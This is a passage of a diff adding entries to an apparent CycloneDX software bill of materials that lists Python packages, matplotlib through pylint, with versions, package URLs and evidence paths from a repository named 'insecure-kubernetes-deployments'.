+      "purl": "pkg:pypi/matplotlib@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/matplotlib@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "matplotlib-inline",
+      "version": "latest",
+      "purl": "pkg:pypi/matplotlib-inline@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/matplotlib-inline@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "mccabe",
+      "version": "latest",
+      "purl": "pkg:pypi/mccabe@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/mccabe@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "mdit-py-plugins",
+      "version": "latest",
+      "purl": "pkg:pypi/mdit-py-plugins@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/mdit-py-plugins@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "mdurl",
+      "version": "latest",
+      "purl": "pkg:pypi/mdurl@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/mdurl@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "mistune",
+      "version": "latest",
+      "purl": "pkg:pypi/mistune@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/mistune@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "mkl-fft",
+      "version": "latest",
+      "purl": "pkg:pypi/mkl-fft@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/mkl-fft@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "mkl-random",
+      "version": "latest",
+      "purl": "pkg:pypi/mkl-random@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/mkl-random@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "mkl-service",
+      "version": "2.4.0",
+      "purl": "pkg:pypi/mkl-service@2.4.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/mkl-service@2.4.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "more-itertools",
+      "version": "latest",
+      "purl": "pkg:pypi/more-itertools@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/more-itertools@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "mpmath",
+      "version": "latest",
+      "purl": "pkg:pypi/mpmath@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/mpmath@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "msgpack",
+      "version": "latest",
+      "purl": "pkg:pypi/msgpack@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/msgpack@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "multidict",
+      "version": "latest",
+      "purl": "pkg:pypi/multidict@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/multidict@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "multipledispatch",
+      "version": "latest",
+      "purl": "pkg:pypi/multipledispatch@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/multipledispatch@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "multiprocess",
+      "version": "latest",
+      "purl": "pkg:pypi/multiprocess@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/multiprocess@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "munkres",
+      "version": "1.1.4",
+      "purl": "pkg:pypi/munkres@1.1.4",
+      "type": "library",
+      "bom-ref": "pkg:pypi/munkres@1.1.4",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "mypy-extensions",
+      "version": "latest",
+      "purl": "pkg:pypi/mypy-extensions@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/mypy-extensions@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "navigator-updater",
+      "version": "latest",
+      "purl": "pkg:pypi/navigator-updater@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/navigator-updater@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "nbclassic",
+      "version": "latest",
+      "purl": "pkg:pypi/nbclassic@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/nbclassic@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "nbclient",
+      "version": "latest",
+      "purl": "pkg:pypi/nbclient@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/nbclient@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "nbconvert",
+      "version": "latest",
+      "purl": "pkg:pypi/nbconvert@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/nbconvert@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "nest-asyncio",
+      "version": "latest",
+      "purl": "pkg:pypi/nest-asyncio@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/nest-asyncio@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "networkx",
+      "version": "latest",
+      "purl": "pkg:pypi/networkx@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/networkx@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "nltk",
+      "version": "latest",
+      "purl": "pkg:pypi/nltk@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/nltk@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "notebook",
+      "version": "latest",
+      "purl": "pkg:pypi/notebook@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/notebook@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "notebook-shim",
+      "version": "latest",
+      "purl": "pkg:pypi/notebook-shim@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/notebook-shim@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "numba",
+      "version": "latest",
+      "purl": "pkg:pypi/numba@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/numba@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "numexpr",
+      "version": "latest",
+      "purl": "pkg:pypi/numexpr@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/numexpr@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "numpydoc",
+      "version": "latest",
+      "purl": "pkg:pypi/numpydoc@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/numpydoc@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "openpyxl",
+      "version": "3.0.10",
+      "purl": "pkg:pypi/openpyxl@3.0.10",
+      "type": "library",
+      "bom-ref": "pkg:pypi/openpyxl@3.0.10",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pandas",
+      "version": "latest",
+      "purl": "pkg:pypi/pandas@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/pandas@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pandocfilters",
+      "version": "latest",
+      "purl": "pkg:pypi/pandocfilters@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pandocfilters@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "panel",
+      "version": "latest",
+      "purl": "pkg:pypi/panel@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/panel@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "param",
+      "version": "latest",
+      "purl": "pkg:pypi/param@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/param@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "parso",
+      "version": "latest",
+      "purl": "pkg:pypi/parso@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/parso@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "partd",
+      "version": "latest",
+      "purl": "pkg:pypi/partd@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/partd@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pathlib",
+      "version": "latest",
+      "purl": "pkg:pypi/pathlib@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pathlib@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pathspec",
+      "version": "latest",
+      "purl": "pkg:pypi/pathspec@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pathspec@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "patsy",
+      "version": "0.5.3",
+      "purl": "pkg:pypi/patsy@0.5.3",
+      "type": "library",
+      "bom-ref": "pkg:pypi/patsy@0.5.3",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pep8",
+      "version": "1.7.1",
+      "purl": "pkg:pypi/pep8@1.7.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pep8@1.7.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pexpect",
+      "version": "latest",
+      "purl": "pkg:pypi/pexpect@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pexpect@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pickleshare",
+      "version": "latest",
+      "purl": "pkg:pypi/pickleshare@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pickleshare@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pkginfo",
+      "version": "latest",
+      "purl": "pkg:pypi/pkginfo@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pkginfo@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "platformdirs",
+      "version": "latest",
+      "purl": "pkg:pypi/platformdirs@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/platformdirs@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "plotly",
+      "version": "latest",
+      "purl": "pkg:pypi/plotly@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/plotly@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pluggy",
+      "version": "latest",
+      "purl": "pkg:pypi/pluggy@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pluggy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "ply",
+      "version": "3.11",
+      "purl": "pkg:pypi/ply@3.11",
+      "type": "library",
+      "bom-ref": "pkg:pypi/ply@3.11",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "poyo",
+      "version": "latest",
+      "purl": "pkg:pypi/poyo@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/poyo@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "prometheus-client",
+      "version": "latest",
+      "purl": "pkg:pypi/prometheus-client@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/prometheus-client@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "prompt-toolkit",
+      "version": "latest",
+      "purl": "pkg:pypi/prompt-toolkit@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/prompt-toolkit@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "psutil",
+      "version": "latest",
+      "purl": "pkg:pypi/psutil@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/psutil@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "ptyprocess",
+      "version": "latest",
+      "purl": "pkg:pypi/ptyprocess@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/ptyprocess@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pure-eval",
+      "version": "latest",
+      "purl": "pkg:pypi/pure-eval@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pure-eval@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "py-cpuinfo",
+      "version": "latest",
+      "purl": "pkg:pypi/py-cpuinfo@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/py-cpuinfo@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyarrow",
+      "version": "11.0.0",
+      "purl": "pkg:pypi/pyarrow@11.0.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyarrow@11.0.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyasn1",
+      "version": "latest",
+      "purl": "pkg:pypi/pyasn1@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyasn1@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pycodestyle",
+      "version": "latest",
+      "purl": "pkg:pypi/pycodestyle@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pycodestyle@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pycosat",
+      "version": "latest",
+      "purl": "pkg:pypi/pycosat@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pycosat@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pycparser",
+      "version": "latest",
+      "purl": "pkg:pypi/pycparser@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pycparser@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyct",
+      "version": "latest",
+      "purl": "pkg:pypi/pyct@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyct@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pycurl",
+      "version": "latest",
+      "purl": "pkg:pypi/pycurl@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pycurl@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pydocstyle",
+      "version": "latest",
+      "purl": "pkg:pypi/pydocstyle@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pydocstyle@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyerfa",
+      "version": "latest",
+      "purl": "pkg:pypi/pyerfa@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyerfa@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyflakes",
+      "version": "latest",
+      "purl": "pkg:pypi/pyflakes@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyflakes@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pylint",
+      "version": "latest",
+      "purl": "pkg:pypi/pylint@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pylint@latest",
